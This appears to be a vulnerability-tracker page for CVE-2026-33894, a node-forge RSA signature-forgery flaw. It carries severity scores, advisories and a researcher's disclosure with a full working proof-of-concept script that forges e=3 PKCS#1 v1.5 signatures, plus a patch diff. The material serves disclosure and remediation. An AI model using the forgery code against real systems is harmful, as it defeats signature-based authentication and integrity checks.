CVE-2026-33894

highpriority · track · 0EPSS 0.004 · 38 %ileDEEUUS
grimoire priorityP2 · Scheduled
Exploitable?
—
no known exploitation
Likely / severe?
0.45% (38th) EPSS
CVSS 7.5 · high
Is it mine?
28 products
Check your exposure
Who says so?
4 sources
cnnvd · enisa_euvd · osv · cert_bund

EPSS · scored 2026-10-22

Forge (also called `node-forge`) is a native implementation of Transport Layer Security in JavaScript. Prior to version 1.4.0, RSASSA PKCS#1 v1.5 signature verification accepts forged signatures for low public exponent keys (e=3). Attackers can forge signatures by stuffing “garbage” bytes within the ASN structure in order to construct a signature that passes verification, enabling Bleichenbacher style forgery. This issue is similar to CVE-2022-24771, but adds bytes in an addition field within the ASN structure, rather than outside of it. Additionally, forge does not validate that signatures include a minimum of 8 bytes of padding as defined by the specification, providing attackers additional space to construct Bleichenbacher forgeries. Version 1.4.0 patches the issue.

01

cvss

Technical severity, 0–10. One row per scoring source.

7.5
010

base score 0–10 · higher = more severe · hover a vector to decode

v3.17.5highCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:Nsecondary · ENISA EU
v3.17.5highCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:Nsecondary · security-advisories@github.comexploitability 3.9 · impact 3.6
v3.17.5highCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:Nsecondaryexploitability 3.9 · impact 3.6
v3.17.5highCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:Nsecondary · OSV
02

ssvc

A stakeholder decision — act, attend, or track — from exploitation and impact.

Exploitation: poc · Automatable: yes · Technical Impact: partialcoordinatorcisa_ssvcUS
03

weaknesses

The CWE weakness classes this flaw belongs to.

04

affected products (28)

Products and version ranges known to be affected.

showing 20 of 28
05

advisories (4)

Vendor and ecosystem advisories describing this.

  • WID-SEC-W-2026-1407IBM App Connect Enterprise Certified Container: Mehrere SchwachstellenDeutsch2026-05-06csaf · cert_bundDE

    Ein Angreifer kann mehrere Schwachstellen in IBM App Connect Enterprise Certified Container ausnutzen, um beliebigen Code auszuführen, Sicherheitsmaßnahmen zu umgehen, Cross-Site-Scripting-Angriffe durchzuführen, Daten zu manipulieren, vertrauliche Informationen offenzulegen oder einen Denial-of-Service-Zustand zu verursachen.

  • GHSA-86w9-cpqp-85rvnode-forge RSA PKCS#1 v1.5 signature verification accepts extra nested DigestAlgorithm elements2026-09-03ghsa · osvUS

    node-forge through 1.4.0 fails to validate element count in nested DigestAlgorithm sequences during RSA PKCS#1 v1.5 signature verification. Attackers can embed garbage bytes inside the DigestAlgorithm sequence to forge valid signatures for arbitrary messages using low-exponent RSA keys. This is an incomplete fix for CVE-2026-33894.

  • GHSA-ppp5-5v6c-4jwpForge has signature forgery in RSA-PKCS due to ASN.1 extra field 2026-03-26ghsa · osvUS

    ## Summary RSASSA PKCS#1 v1.5 signature verification accepts forged signatures for low public exponent keys (e=3). Attackers can forge signatures by stuffing “garbage” bytes within the ASN structure in order to construct a signature that passes verification, enabling [Bleichenbacher style forgery](https://mailarchive.ietf.org/arch/msg/openpgp/5rnE9ZRN1AokBVj3VqblGlP63QE/). This issue is similar to [CVE-2022-24771](https://github.com/digitalbazaar/forge/security/advisories/GHSA-cfm4-qjh2-4765), but adds bytes in an addition field within the ASN structure, rather than outside of it. Additionally, forge does not validate that signatures include a minimum of 8 bytes of padding as [defined by the specification](https://datatracker.ietf.org/doc/html/rfc2313#section-8), providing attackers additional space to construct Bleichenbacher forgeries. ## Impacted Deployments **Tested commit:** `8e1d527fe8ec2670499068db783172d4fb9012e5` **Affected versions:** tested on v1.3.3 (latest release) and recent prior versions. **Configuration assumptions:** - Invoke key.verify with defaults (default `scheme` uses RSASSA-PKCS1-v1_5). - `_parseAllDigestBytes: true` (default setting). ## Root Cause In `lib/rsa.js`, `key.verify(...)`, forge decrypts the signature block, decodes PKCS#1 v1.5 padding (`_decodePkcs1_v1_5`), parses ASN.1, and compares `capture.digest` to the provided digest. Two issues are present with this logic: 1. Strict DER byte-consumption (`_parseAllDigestBytes`) only guarantees all bytes are parsed, not that the parsed structure is the canonical minimal DigestInfo shape expected by RFC 8017 verification semantics. A forged EM with attacker-controlled additional ASN.1 content inside the parsed container can still pass forge verification while OpenSSL rejects it. 2. `_decodePkcs1_v1_5` comments mention that PS < 8 bytes should be rejected, but does not implement this logic. ## Reproduction Steps 1. Use Node.js (tested with `v24.9.0`) and clone `digitalbazaar/forge` at commit `8e1d527fe8ec2670499068db783172d4fb9012e5`. 4. Place and run the PoC script (`repro_min.js`) with `node repro_min.js` in the same level as the `forge` folder. 5. The script generates a fresh RSA keypair (`4096` bits, `e=3`), creates a normal control signature, then computes a forged candidate using cube-root interval construction. 6. The script verifies both signatures with: - forge verify (`_parseAllDigestBytes: true`), and - Node/OpenSSL verify (`crypto.verify` with `RSA_PKCS1_PADDING`). 7. Confirm output includes: - `control-forge-strict: true` - `control-node: true` - `forgery (forge library, strict): true` - `forgery (node/OpenSSL): false` ## Proof of Concept **Overview:** - Demonstrates a valid control signature and a forged signature in one run. - Uses strict forge parsing mode explicitly (`_parseAllDigestBytes: true`, also forge default). - Uses Node/OpenSSL as an differential verification baseline. - Observed output on tested commit: ```text control-forge-strict: true control-node: true forgery (forge library, strict): true forgery (node/OpenSSL): false ``` <details><summary>repro_min.js</summary> ```javascript #!/usr/bin/env node 'use strict'; const crypto = require('crypto'); const forge = require('./forge/lib/index'); // DER prefix for PKCS#1 v1.5 SHA-256 DigestInfo, without the digest bytes: // SEQUENCE { // SEQUENCE { OID sha256, NULL }, // OCTET STRING <32-byte digest> // } // Hex: 30 0d 06 09 60 86 48 01 65 03 04 02 01 05 00 04 20 const DIGESTINFO_SHA256_PREFIX = Buffer.from( '300d060960864801650304020105000420', 'hex' ); const toBig = b => BigInt('0x' + (b.toString('hex') || '0')); function toBuf(n, len) { let h = n.toString(16); if (h.length % 2) h = '0' + h; const b = Buffer.from(h, 'hex'); return b.length < len ? Buffer.concat([Buffer.alloc(len - b.length), b]) : b; } function cbrtFloor(n) { let lo = 0n; let hi = 1n; while (hi * hi * hi <= n) hi <<= 1n; while (lo + 1n < hi) { const mid = (lo + hi) >> 1n; if (mid * mid * mid <= n) lo = mid; else hi = mid; } return lo; } const cbrtCeil = n => { const f = cbrtFloor(n); return f * f * f === n ? f : f + 1n; }; function derLen(len) { if (len < 0x80) return Buffer.from([len]); if (len <= 0xff) return Buffer.from([0x81, len]); return Buffer.from([0x82, (len >> 8) & 0xff, len & 0xff]); } function forgeStrictVerify(publicPem, msg, sig) { const key = forge.pki.publicKeyFromPem(publicPem); const md = forge.md.sha256.create(); md.update(msg.toString('utf8'), 'utf8'); try { // verify(digestBytes, signatureBytes, scheme, options): // - digestBytes: raw SHA-256 digest bytes for `msg` // - signatureBytes: binary-string representation of the candidate signature // - scheme: undefined => default RSASSA-PKCS1-v1_5 // - options._parseAllDigestBytes: require DER parser to consume all bytes // (this is forge's default for verify; set explicitly here for clarity) return { ok: key.verify(md.digest().getBytes(), sig.toString('binary'), undefined, { _parseAllDigestBytes: true }) }; } catch (err) { return { ok: false, err: err.message }; } } function main() { const { privateKey, publicKey } = crypto.generateKeyPairSync('rsa', { modulusLength: 4096, publicExponent: 3, privateKeyEncoding: { type: 'pkcs1', format: 'pem' }, publicKeyEncoding: { type: 'pkcs1', format: 'pem' } }); const jwk = crypto.createPublicKey(publicKey).export({ format: 'jwk' }); const nBytes = Buffer.from(jwk.n, 'base64url'); const n = toBig(nBytes); const e = toBig(Buffer.from(jwk.e, 'base64url')); if (e !== 3n) throw new Error('expected e=3'); const msg = Buffer.from('forged-message-0', 'utf8'); const digest = crypto.createHash('sha256').update(msg).digest(); const algAndDigest = Buffer.concat([DIGESTINFO_SHA256_PREFIX, digest]); // Minimal prefix that forge currently accepts: 00 01 00 + DigestInfo + extra OCTET STRING. const k = nBytes.length; // ffCount can be set to any value at or below 111 and produce a valid signature. // ffCount should be rejected for values below 8, since that would constitute a malformed PKCS1 package. // However, current versions of node forge do not check for this. // Rejection of packages with less than 8 bytes of padding is bad but does not constitute a vulnerability by itself. const ffCount = 0; // `garbageLen` affects DER length field sizes, which in turn affect how // many bytes remain for garbage. Iterate to a fixed point so total EM size is exactly `k`. // A small cap (8) is enough here: DER length-size transitions are discrete // and few (<128, <=255, <=65535, ...), so this stabilizes quickly. let garbageLen = 0; for (let i = 0; i < 8; i += 1) { const gLenEnc = derLen(garbageLen).length; const seqLen = algAndDigest.length + 1 + gLenEnc + garbageLen; const seqLenEnc = derLen(seqLen).length; const fixed = 2 + ffCount + 1 + 1 + seqLenEnc + algAndDigest.length + 1 + gLenEnc; const next = k - fixed; if (next === garbageLen) break; garbageLen = next; } const seqLen = algAndDigest.length + 1 + derLen(garbageLen).length + garbageLen; const prefix = Buffer.concat([ Buffer.from([0x00, 0x01]), Buffer.alloc(ffCount, 0xff), Buffer.from([0x00]), Buffer.from([0x30]), derLen(seqLen), algAndDigest, Buffer.from([0x04]), derLen(garbageLen) ]); // Build the numeric interval of all EM values that start with `prefix`: // - `low` = prefix || 00..00 // - `high` = one past (prefix || ff..ff) // Then find `s` such that s^3 is inside [low, high), so EM has our prefix. const suffixLen = k - prefix.length; const low = toBig(Buffer.concat([prefix, Buffer.alloc(suffixLen)])); const high = low + (1n << BigInt(8 * suffixLen)); const s = cbrtCeil(low); if (s > cbrtFloor(high - 1n) || s >= n) throw new Error('no candidate in interval'); const sig = toBuf(s, k); const controlMsg = Buffer.from('control-message', 'utf8'); const controlSig = crypto.sign('sha256', controlMsg, { key: privateKey, padding: crypto.constants.RSA_PKCS1_PADDING }); // forge verification calls (library under test) const controlForge = forgeStrictVerify(publicKey, controlMsg, controlSig); const forgedForge = forgeStrictVerify(publicKey, msg, sig); // Node.js verification calls (OpenSSL-backed reference behavior) const controlNode = crypto.verify('sha256', controlMsg, { key: publicKey, padding: crypto.constants.RSA_PKCS1_PADDING }, controlSig); const forgedNode = crypto.verify('sha256', msg, { key: publicKey, padding: crypto.constants.RSA_PKCS1_PADDING }, sig); console.log('control-forge-strict:', controlForge.ok, controlForge.err || ''); console.log('control-node:', controlNode); console.log('forgery (forge library, strict):', forgedForge.ok, forgedForge.err || ''); console.log('forgery (node/OpenSSL):', forgedNode); } main(); ``` </details> ## Suggested Patch - Enforce PKCS#1 v1.5 BT=0x01 minimum padding length (`PS >= 8`) in `_decodePkcs1_v1_5` before accepting the block. - Update the RSASSA-PKCS1-v1_5 verifier to require canonical DigestInfo structure only (no extra attacker-controlled ASN.1 content beyond expected fields). Here is a Forge-tested patch to resolve the issue, though it should be verified for consumer projects: ```diff index b207a63..ec8a9c1 100644 --- a/lib/rsa.js +++ b/lib/rsa.js @@ -1171,6 +1171,14 @@ pki.setRsaPublicKey = pki.rsa.setPublicKey = function(n, e) { error.errors = errors; throw error; } + + if(obj.value.length != 2) { + var error = new Error( + 'DigestInfo ASN.1 object must contain exactly 2 fields for ' + + 'a valid RSASSA-PKCS1-v1_5 package.'); + error.errors = errors; + throw error; + } // check hash algorithm identifier // see PKCS1-v1-5DigestAlgorithms in RFC 8017 // FIXME: add support to validator for strict value choices @@ -1673,6 +1681,10 @@ function _decodePkcs1_v1_5(em, key, pub, ml) { } ++padNum; } + + if (padNum < 8) { + throw new Error('Encryption block is invalid.'); + } } else if(bt === 0x02) { // look for 0x00 byte padNum = 0; ``` ## Resources - RFC 2313 (PKCS v1.5): https://datatracker.ietf.org/doc/html/rfc2313#section-8 - > This limitation guarantees that the length of the padding string PS is at least eight octets, which is a security condition. - RFC 8017: https://www.rfc-editor.org/rfc/rfc8017.html - `lib/rsa.js` `key.verify(...)` at lines ~1139-1223. - `lib/rsa.js` `_decodePkcs1_v1_5(...)` at lines ~1632-1695. ## Credit This vulnerability was discovered as part of a U.C. Berkeley security research project by: Austin Chu, Sohee Kim, and Corban Villa.

  • CVE-2026-85393node-forge through 1.4.0 RSA PKCS#1 v1.5 Signature Forgery via Nested DigestAlgorithm Padding2026-09-03vendor · osvUS

    node-forge through 1.4.0 fails to validate element count in nested DigestAlgorithm sequences during RSA PKCS#1 v1.5 signature verification. Attackers can embed garbage bytes inside the DigestAlgorithm sequence to forge valid signatures for arbitrary messages using low-exponent RSA keys. This is an incomplete fix for CVE-2026-33894.

06

also known as (5)

Other names and identifiers for this entity.

07

sources

Which sources assert this record, and when.

published 2026-03-27modified 2026-09-10
08

references (27)

External citations — patches, advisories, analysis.

scry

Attackers weaponise vulnerabilities like this against internet-exposed services. See what is exposed on your perimeter with a free passive scan.

Free scan